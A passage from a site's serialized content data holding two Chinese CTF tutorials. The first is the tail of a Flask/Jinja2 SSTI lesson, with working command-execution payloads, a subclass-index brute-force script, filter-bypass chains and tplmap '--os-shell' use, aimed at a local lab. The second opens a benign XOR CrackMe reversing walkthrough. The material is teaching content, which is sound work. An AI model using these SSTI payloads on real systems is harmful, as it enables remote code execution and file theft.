\"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[29,7062,7063],{"__ignoreMap":27},[32,7064,7065,7067,7069,7072],{"class":34,"line":35},[32,7066,5464],{"class":86},[32,7068,5467],{"class":1461},[32,7070,7071],{"class":90},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[32,7073,5473],{"class":1461},[15,7075,1224],{},[22,7077,7079],{"className":6843,"code":7078,"language":6845,"meta":27,"style":27},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[29,7080,7081],{"__ignoreMap":27},[32,7082,7083,7085,7087,7090,7092],{"class":34,"line":35},[32,7084,6852],{"class":1127},[32,7086,6855],{"class":1120},[32,7088,7089],{"class":1127},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[32,7091,6855],{"class":1120},[32,7093,1131],{"class":1127},[15,7095,7096],{},"命令执行成功。读 flag：",[22,7098,7100],{"className":77,"code":7099,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[29,7101,7102],{"__ignoreMap":27},[32,7103,7104,7106,7108,7111],{"class":34,"line":35},[32,7105,5464],{"class":86},[32,7107,5467],{"class":1461},[32,7109,7110],{"class":90},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[32,7112,5473],{"class":1461},[15,7114,1224],{},[22,7116,7118],{"className":6843,"code":7117,"language":6845,"meta":27,"style":27},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[29,7119,7120],{"__ignoreMap":27},[32,7121,7122,7124,7126,7129,7131],{"class":34,"line":35},[32,7123,6852],{"class":1127},[32,7125,6855],{"class":1120},[32,7127,7128],{"class":1127},">Hello, flag{ssti_rce}!\u003C/",[32,7130,6855],{"class":1120},[32,7132,1131],{"class":1127},[15,7134,7135,1598,7143,7145],{},[138,7136,7137,7138,7140,7141],{},"为什么先试 ",[29,7139,5439],{}," 再试 ",[29,7142,7025],{},[29,7144,5439],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[283,7147,7149,7150,7153],{"id":7148},"_43-备选链subclasses-扫描","4.3 备选链：",[138,7151,7152],{},"subclasses"," 扫描",[15,7155,7156,7158,7159,7161,7162,320],{},[138,7157,140],{},"：当 ",[29,7160,7000],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[29,7163,7164],{},"subprocess.Popen",[15,7166,7167,7169,7170,1598],{},[29,7168,7000],{}," 链不可用时，从字符串对象出发找 ",[29,7171,7164],{},[22,7173,7176],{"className":7174,"code":7175,"language":110,"meta":27},[108],"''.__class__.__mro__[1].__subclasses__()\n",[29,7177,7175],{"__ignoreMap":27},[15,7179,7180],{},"先用 Python 脚本找下标：",[22,7182,7184],{"className":24,"code":7183,"language":26,"meta":27,"style":27},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[29,7185,7186,7191,7195,7200,7205,7210,7215,7220,7225,7230,7235,7240,7245,7250,7255],{"__ignoreMap":27},[32,7187,7188],{"class":34,"line":35},[32,7189,7190],{},"import requests\n",[32,7192,7193],{"class":34,"line":41},[32,7194,197],{"emptyLinePlaceholder":196},[32,7196,7197],{"class":34,"line":47},[32,7198,7199],{},"url = \"http://127.0.0.1:5000/\"\n",[32,7201,7202],{"class":34,"line":53},[32,7203,7204],{},"for i in range(500):\n",[32,7206,7207],{"class":34,"line":175},[32,7208,7209],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[32,7211,7212],{"class":34,"line":181},[32,7213,7214],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[32,7216,7217],{"class":34,"line":187},[32,7218,7219],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[32,7221,7222],{"class":34,"line":193},[32,7223,7224],{},"    # .__mro__[1]：继承链上的 object 类；\n",[32,7226,7227],{"class":34,"line":200},[32,7228,7229],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[32,7231,7232],{"class":34,"line":206},[32,7233,7234],{},"    # .__name__：该类的名字，会渲染到页面。\n",[32,7236,7237],{"class":34,"line":212},[32,7238,7239],{},"    r = requests.get(url, params={\"name\": payload})\n",[32,7241,7242],{"class":34,"line":218},[32,7243,7244],{},"    if \"Popen\" in r.text:\n",[32,7246,7247],{"class":34,"line":224},[32,7248,7249],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[32,7251,7252],{"class":34,"line":230},[32,7253,7254],{},"        print(\"Popen index:\", i)\n",[32,7256,7257],{"class":34,"line":236},[32,7258,3673],{},[15,7260,1224,7261,7264],{},[29,7262,7263],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,7266,7267],{},"然后利用：",[22,7269,7272],{"className":7270,"code":7271,"language":110,"meta":27},[108],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[29,7273,7271],{"__ignoreMap":27},[10,7275,7277],{"id":7276},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,7279,7280,7282,7283,66,7286,7289],{},[138,7281,140],{},"：题目过滤 ",[29,7284,7285],{},".",[29,7287,7288],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,7291,7292,7294,7295,7298],{},[138,7293,146],{},"：点号访问可以用 Jinja2 的 ",[29,7296,7297],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,7300,7301,7302,66,7304,66,7307,7310],{},"题目常过滤 ",[29,7303,7285],{},[29,7305,7306],{},"[",[29,7308,7309],{},"]"," 或关键词。",[283,7312,7314],{"id":7313},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[22,7316,7319],{"className":7317,"code":7318,"language":110,"meta":27},[108],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[29,7320,7318],{"__ignoreMap":27},[283,7322,7324],{"id":7323},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[22,7326,7329],{"className":7327,"code":7328,"language":110,"meta":27},[108],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[29,7330,7328],{"__ignoreMap":27},[15,7332,7333,7334,66,7336,7339],{},"模板里不再出现 ",[29,7335,7014],{},[29,7337,7338],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,7341,2075],{"id":2074},[283,7343,7345],{"id":7344},"工具-1curl","工具 1：curl",[22,7347,7349],{"className":77,"code":7348,"language":79,"meta":27,"style":27},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[29,7350,7351,7365],{"__ignoreMap":27},[32,7352,7353,7355,7357,7360,7362],{"class":34,"line":35},[32,7354,5464],{"class":86},[32,7356,5467],{"class":1461},[32,7358,7359],{"class":90},"http://target/?name={{7*7}}",[32,7361,6107],{"class":1461},[32,7363,7364],{"class":2592},"          # 探测\n",[32,7366,7367,7369,7372,7374,7377,7379,7382,7384,7387,7389],{"class":34,"line":41},[32,7368,5464],{"class":86},[32,7370,7371],{"class":1016}," -G",[32,7373,5467],{"class":1461},[32,7375,7376],{"class":90},"http://target/",[32,7378,6107],{"class":1461},[32,7380,7381],{"class":1016}," --data-urlencode",[32,7383,5467],{"class":1461},[32,7385,7386],{"class":90},"name={{...}}",[32,7388,6107],{"class":1461},[32,7390,7391],{"class":2592},"   # 自动 URL 编码\n",[283,7393,7395],{"id":7394},"工具-2requests","工具 2：requests",[22,7397,7399],{"className":24,"code":7398,"language":26,"meta":27,"style":27},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[29,7400,7401,7405,7409,7414,7419,7424,7429,7434],{"__ignoreMap":27},[32,7402,7403],{"class":34,"line":35},[32,7404,7190],{},[32,7406,7407],{"class":34,"line":41},[32,7408,197],{"emptyLinePlaceholder":196},[32,7410,7411],{"class":34,"line":47},[32,7412,7413],{},"url = \"http://target/\"\n",[32,7415,7416],{"class":34,"line":53},[32,7417,7418],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[32,7420,7421],{"class":34,"line":175},[32,7422,7423],{},"r = requests.get(url, params={\"name\": payload})\n",[32,7425,7426],{"class":34,"line":181},[32,7427,7428],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[32,7430,7431],{"class":34,"line":187},[32,7432,7433],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[32,7435,7436],{"class":34,"line":193},[32,7437,7438],{},"print(r.text)\n",[15,7440,7441,7444],{},[29,7442,7443],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[283,7446,7448],{"id":7447},"工具-3tplmap","工具 3：tplmap",[15,7450,7451],{},"模板注入自动化工具：",[22,7453,7455],{"className":77,"code":7454,"language":79,"meta":27,"style":27},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[29,7456,7457,7466,7485,7504],{"__ignoreMap":27},[32,7458,7459,7461,7463],{"class":34,"line":35},[32,7460,5291],{"class":86},[32,7462,5294],{"class":90},[32,7464,7465],{"class":90}," https://github.com/epinna/tplmap\n",[32,7467,7468,7470,7473,7475,7477,7479,7482],{"class":34,"line":41},[32,7469,1808],{"class":1807},[32,7471,7472],{"class":90}," tplmap",[32,7474,1818],{"class":1127},[32,7476,3712],{"class":86},[32,7478,91],{"class":90},[32,7480,7481],{"class":1016}," -r",[32,7483,7484],{"class":90}," requirements.txt\n",[32,7486,7487,7489,7492,7494,7496,7499,7501],{"class":34,"line":47},[32,7488,26],{"class":86},[32,7490,7491],{"class":90}," tplmap.py",[32,7493,6100],{"class":1016},[32,7495,5467],{"class":1461},[32,7497,7498],{"class":90},"http://target/?name=*",[32,7500,6107],{"class":1461},[32,7502,7503],{"class":2592},"          # * 是注入点标记\n",[32,7505,7506,7508,7510,7512,7514,7516,7518],{"class":34,"line":53},[32,7507,26],{"class":86},[32,7509,7491],{"class":90},[32,7511,6100],{"class":1016},[32,7513,5467],{"class":1461},[32,7515,7498],{"class":90},[32,7517,6107],{"class":1461},[32,7519,7520],{"class":1016}," --os-shell\n",[10,7522,7524],{"id":7523},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,7526,888,7527,7530,7531,320],{},[29,7528,7529],{},"http://target/?name="," 存在 SSTI，flag 在 ",[29,7532,7533],{},"/flag",[283,7535,7537],{"id":7536},"第一步探测","第一步：探测",[15,7539,7540,7542],{},[138,7541,140],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[22,7544,7546],{"className":77,"code":7545,"language":79,"meta":27,"style":27},"curl \"http://target/?name={{7*7}}\"\n",[29,7547,7548],{"__ignoreMap":27},[32,7549,7550,7552,7554,7556],{"class":34,"line":35},[32,7551,5464],{"class":86},[32,7553,5467],{"class":1461},[32,7555,7359],{"class":90},[32,7557,5473],{"class":1461},[15,7559,7560,7561,7563],{},"响应含 ",[29,7562,6911],{}," → 确认。",[283,7565,7567],{"id":7566},"第二步直接打","第二步：直接打",[15,7569,7570,7572,7573,7576,7577,7579,7580,7582],{},[138,7571,146],{},"：先 ",[29,7574,7575],{},"config.__globals__"," 链试 ",[29,7578,7025],{},"；如果响应没出现 flag 内容，先改用 ",[29,7581,5439],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[22,7584,7586],{"className":24,"code":7585,"language":26,"meta":27,"style":27},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[29,7587,7588,7592,7596,7600,7604,7608],{"__ignoreMap":27},[32,7589,7590],{"class":34,"line":35},[32,7591,7190],{},[32,7593,7594],{"class":34,"line":41},[32,7595,197],{"emptyLinePlaceholder":196},[32,7597,7598],{"class":34,"line":47},[32,7599,7413],{},[32,7601,7602],{"class":34,"line":53},[32,7603,7418],{},[32,7605,7606],{"class":34,"line":175},[32,7607,7423],{},[32,7609,7610],{"class":34,"line":181},[32,7611,7438],{},[15,7613,7614],{},"预期输出中出现：",[22,7616,7619],{"className":7617,"code":7618,"language":110,"meta":27},[108],"flag{ssti_rce}\n",[29,7620,7618],{"__ignoreMap":27},[283,7622,7624],{"id":7623},"第三步被过滤时","第三步：被过滤时",[15,7626,7627,7629,7630,7632],{},[138,7628,146],{},"：把点号换成 ",[29,7631,7297],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,7634,7635],{},"改用 attr 与 request.args 组合：",[22,7637,7640],{"className":7638,"code":7639,"language":110,"meta":27},[108],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[29,7641,7639],{"__ignoreMap":27},[10,7643,2368],{"id":2367},[15,7645,7646,7647,3311,7649,7652,7653,2161,7655,7658],{},"SSTI 主线：探测 ",[29,7648,6817],{},[29,7650,7651],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[29,7654,7297],{},[29,7656,7657],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1051,7660,7661],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":27,"searchDepth":41,"depth":41,"links":7663},[7664,7665,7666,7667,7668,7669,7670,7671],{"id":6630,"depth":47,"text":6631},{"id":6709,"depth":47,"text":6710},{"id":6799,"depth":47,"text":6800},{"id":6986,"depth":47,"text":6987},{"id":7276,"depth":47,"text":7277},{"id":2074,"depth":47,"text":2075},{"id":7523,"depth":47,"text":7524},{"id":2367,"depth":47,"text":2368},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1069,"image":7674,"alt":7675,"tags":7676,"published":196},"/blogs-img/blog6.png","SSTI 深入实战",[1073,6617,7677,1076],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":6625,"description":7672},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":7683,"title":7684,"body":7685,"description":8625,"extension":1067,"meta":8626,"navigation":196,"ogImage":1070,"path":8629,"seo":8630,"stem":8631,"__hash__":8632},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":7686,"toc":8614},[7687,7691,7694,7698,7704,7888,7891,7908,7911,7920,7925,7937,7941,7943,7948,7961,7965,7976,7979,7985,7990,7994,8005,8019,8021,8027,8036,8040,8045,8060,8062,8093,8095,8124,8131,8135,8167,8170,8195,8199,8202,8252,8257,8259,8267,8270,8276,8278,8290,8304,8306,8311,8320,8322,8327,8330,8345,8347,8353,8356,8360,8365,8382,8442,8444,8456,8458,8463,8466,8476,8480,8484,8567,8571,8602,8604,8611],[10,7688,7690],{"id":7689},"一现实背景注册码校验","一、现实背景：注册码校验",[15,7692,7693],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,7695,7697],{"id":7696},"二题目源码与编译","二、题目源码与编译",[15,7699,7700,7701,1598],{},"出题人视角的 ",[29,7702,7703],{},"crackme.c",[22,7705,7707],{"className":1853,"code":7706,"language":1855,"meta":27,"style":27},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[29,7708,7709,7713,7718,7722,7727,7732,7737,7742,7747,7752,7757,7762,7767,7772,7777,7782,7787,7792,7797,7802,7807,7812,7817,7821,7825,7830,7835,7840,7845,7850,7855,7860,7865,7870,7875,7880,7884],{"__ignoreMap":27},[32,7710,7711],{"class":34,"line":35},[32,7712,2474],{},[32,7714,7715],{"class":34,"line":41},[32,7716,7717],{},"#include \u003Cstring.h>\n",[32,7719,7720],{"class":34,"line":47},[32,7721,197],{"emptyLinePlaceholder":196},[32,7723,7724],{"class":34,"line":53},[32,7725,7726],{},"int check(const char *input) {\n",[32,7728,7729],{"class":34,"line":175},[32,7730,7731],{},"    char key[] = \"k3y\";\n",[32,7733,7734],{"class":34,"line":181},[32,7735,7736],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[32,7738,7739],{"class":34,"line":187},[32,7740,7741],{},"    unsigned char enc[] = {\n",[32,7743,7744],{"class":34,"line":193},[32,7745,7746],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[32,7748,7749],{"class":34,"line":200},[32,7750,7751],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[32,7753,7754],{"class":34,"line":206},[32,7755,7756],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[32,7758,7759],{"class":34,"line":212},[32,7760,7761],{},"    };\n",[32,7763,7764],{"class":34,"line":218},[32,7765,7766],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[32,7768,7769],{"class":34,"line":224},[32,7770,7771],{},"    int n = strlen(input);\n",[32,7773,7774],{"class":34,"line":230},[32,7775,7776],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[32,7778,7779],{"class":34,"line":236},[32,7780,7781],{},"    if (n != 24) return 0;\n",[32,7783,7784],{"class":34,"line":242},[32,7785,7786],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[32,7788,7789],{"class":34,"line":248},[32,7790,7791],{},"    for (int i = 0; i \u003C n; i++)\n",[32,7793,7794],{"class":34,"line":628},[32,7795,7796],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[32,7798,7799],{"class":34,"line":633},[32,7800,7801],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[32,7803,7804],{"class":34,"line":639},[32,7805,7806],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[32,7808,7809],{"class":34,"line":645},[32,7810,7811],{},"    return 1;\n",[32,7813,7814],{"class":34,"line":651},[32,7815,7816],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[32,7818,7819],{"class":34,"line":657},[32,7820,2498],{},[32,7822,7823],{"class":34,"line":663},[32,7824,197],{"emptyLinePlaceholder":196},[32,7826,7827],{"class":34,"line":669},[32,7828,7829],{},"int main(int argc, char **argv) {\n",[32,7831,7832],{"class":34,"line":675},[32,7833,7834],{},"    if (argc != 2) {\n",[32,7836,7837],{"class":34,"line":681},[32,7838,7839],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[32,7841,7842],{"class":34,"line":686},[32,7843,7844],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[32,7846,7847],{"class":34,"line":692},[32,7848,7849],{},"        return 1;\n",[32,7851,7852],{"class":34,"line":697},[32,7853,7854],{},"    }\n",[32,7856,7857],{"class":34,"line":703},[32,7858,7859],{},"    if (check(argv[1]))\n",[32,7861,7862],{"class":34,"line":709},[32,7863,7864],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[32,7866,7867],{"class":34,"line":715},[32,7868,7869],{},"        puts(\"Correct!\");\n",[32,7871,7872],{"class":34,"line":4803},[32,7873,7874],{},"    else\n",[32,7876,7877],{"class":34,"line":4809},[32,7878,7879],{},"        puts(\"Wrong!\");\n",[32,7881,7882],{"class":34,"line":4815},[32,7883,2555],{},[32,7885,7886],{"class":34,"line":4821},[32,7887,2498],{},[15,7889,7890],{},"编译（解题时只有二进制，没有源码）：",[22,7892,7894],{"className":77,"code":7893,"language":79,"meta":27,"style":27},"gcc -o crackme crackme.c\n",[29,7895,7896],{"__ignoreMap":27},[32,7897,7898,7900,7902,7905],{"class":34,"line":35},[32,7899,2572],{"class":86},[32,7901,2575],{"class":1016},[32,7903,7904],{"class":90}," crackme",[32,7906,7907],{"class":90}," crackme.c\n",[15,7909,7910],{},"运行确认行为：",[22,7912,7914],{"className":77,"code":7913,"language":79,"meta":27,"style":27},"./crackme\n",[29,7915,7916],{"__ignoreMap":27},[32,7917,7918],{"class":34,"line":35},[32,7919,7913],{"class":86},[15,7921,1348,7922,320],{},[29,7923,7924],{},"Usage: ./crackme \u003Cflag>",[22,7926,7928],{"className":77,"code":7927,"language":79,"meta":27,"style":27},"./crackme wrongflag123456789012\n",[29,7929,7930],{"__ignoreMap":27},[32,7931,7932,7934],{"class":34,"line":35},[32,7933,2357],{"class":86},[32,7935,7936],{"class":90}," wrongflag123456789012\n",[15,7938,1348,7939,320],{},[29,7940,1320],{},[10,7942,1191],{"id":1190},[15,7944,7945,7947],{},[138,7946,140],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,7949,7950,1598,7952,7954,7955,7957,7958,7960],{},[138,7951,146],{},[29,7953,1262],{}," 能看到 ",[29,7956,1324],{}," 这样的短密钥（需要 ",[29,7959,1328],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[283,7962,7964],{"id":7963},"_31-file","3.1 file",[22,7966,7968],{"className":77,"code":7967,"language":79,"meta":27,"style":27},"file crackme\n",[29,7969,7970],{"__ignoreMap":27},[32,7971,7972,7974],{"class":34,"line":35},[32,7973,1218],{"class":86},[32,7975,2213],{"class":90},[15,7977,7978],{},"预期输出（Linux ELF）：",[22,7980,7983],{"className":7981,"code":7982,"language":110,"meta":27},[108],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[29,7984,7982],{"__ignoreMap":27},[15,7986,7987,7989],{},[29,7988,1236],{},"：函数名可见。",[283,7991,7993],{"id":7992},"_32-strings","3.2 strings",[15,7995,7996,7997,7999,8000,8002,8003,1598],{},"注意：",[29,7998,1262],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[29,8001,1324],{}," 只有 3 个字符，必须加 ",[29,8004,1328],{},[22,8006,8007],{"className":77,"code":2200,"language":79,"meta":27,"style":27},[29,8008,8009],{"__ignoreMap":27},[32,8010,8011,8013,8015,8017],{"class":34,"line":35},[32,8012,1262],{"class":86},[32,8014,1017],{"class":1016},[32,8016,1296],{"class":1016},[32,8018,2213],{"class":90},[15,8020,1224],{},[22,8022,8025],{"className":8023,"code":8024,"language":110,"meta":27},[108],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[29,8026,8024],{"__ignoreMap":27},[15,8028,8029,8031,8032,8035],{},[29,8030,1324],{}," 极可能是密钥。",[29,8033,8034],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,8037,8039],{"id":8038},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,8041,8042,8044],{},[138,8043,140],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,8046,8047,8049,8050,8052,8053,8056,8057,8059],{},[138,8048,146],{},"：main 里 ",[29,8051,1562],{}," 后紧跟 ",[29,8054,8055],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[29,8058,2236],{},"，逆向思路立刻清晰。",[283,8061,1402],{"id":1401},[22,8063,8065],{"className":77,"code":8064,"language":79,"meta":27,"style":27},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[29,8066,8067],{"__ignoreMap":27},[32,8068,8069,8071,8073,8075,8077,8079,8081,8083,8085,8087,8089,8091],{"class":34,"line":35},[32,8070,1414],{"class":86},[32,8072,1417],{"class":1016},[32,8074,1420],{"class":1016},[32,8076,1423],{"class":90},[32,8078,7904],{"class":90},[32,8080,1449],{"class":1120},[32,8082,1452],{"class":86},[32,8084,1455],{"class":1016},[32,8086,1458],{"class":1016},[32,8088,1462],{"class":1461},[32,8090,1465],{"class":90},[32,8092,1468],{"class":1461},[15,8094,1471],{},[22,8096,8098],{"className":1474,"code":8097,"language":1476,"meta":27,"style":27},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[29,8099,8100,8104,8108,8112,8116,8120],{"__ignoreMap":27},[32,8101,8102],{"class":34,"line":35},[32,8103,1483],{},[32,8105,8106],{"class":34,"line":41},[32,8107,1498],{},[32,8109,8110],{"class":34,"line":47},[32,8111,1503],{},[32,8113,8114],{"class":34,"line":53},[32,8115,1508],{},[32,8117,8118],{"class":34,"line":175},[32,8119,1513],{},[32,8121,8122],{"class":34,"line":181},[32,8123,1518],{},[15,8125,8126,8128,8129,320],{},[29,8127,1562],{}," 说明判断逻辑在 ",[29,8130,1591],{},[283,8132,8134],{"id":8133},"_42-objdump-看-check","4.2 objdump 看 check",[22,8136,8138],{"className":77,"code":8137,"language":79,"meta":27,"style":27},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[29,8139,8140],{"__ignoreMap":27},[32,8141,8142,8144,8146,8148,8150,8152,8154,8156,8158,8161,8163,8165],{"class":34,"line":35},[32,8143,1414],{"class":86},[32,8145,1417],{"class":1016},[32,8147,1420],{"class":1016},[32,8149,1423],{"class":90},[32,8151,7904],{"class":90},[32,8153,1449],{"class":1120},[32,8155,1452],{"class":86},[32,8157,1455],{"class":1016},[32,8159,8160],{"class":1016}," 60",[32,8162,1462],{"class":1461},[32,8164,1648],{"class":90},[32,8166,1468],{"class":1461},[15,8168,8169],{},"预期会看到循环比较：",[22,8171,8173],{"className":1474,"code":8172,"language":1476,"meta":27,"style":27},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[29,8174,8175,8180,8185,8190],{"__ignoreMap":27},[32,8176,8177],{"class":34,"line":35},[32,8178,8179],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[32,8181,8182],{"class":34,"line":41},[32,8183,8184],{},"xor    eax, 0x...                 ; 与 key 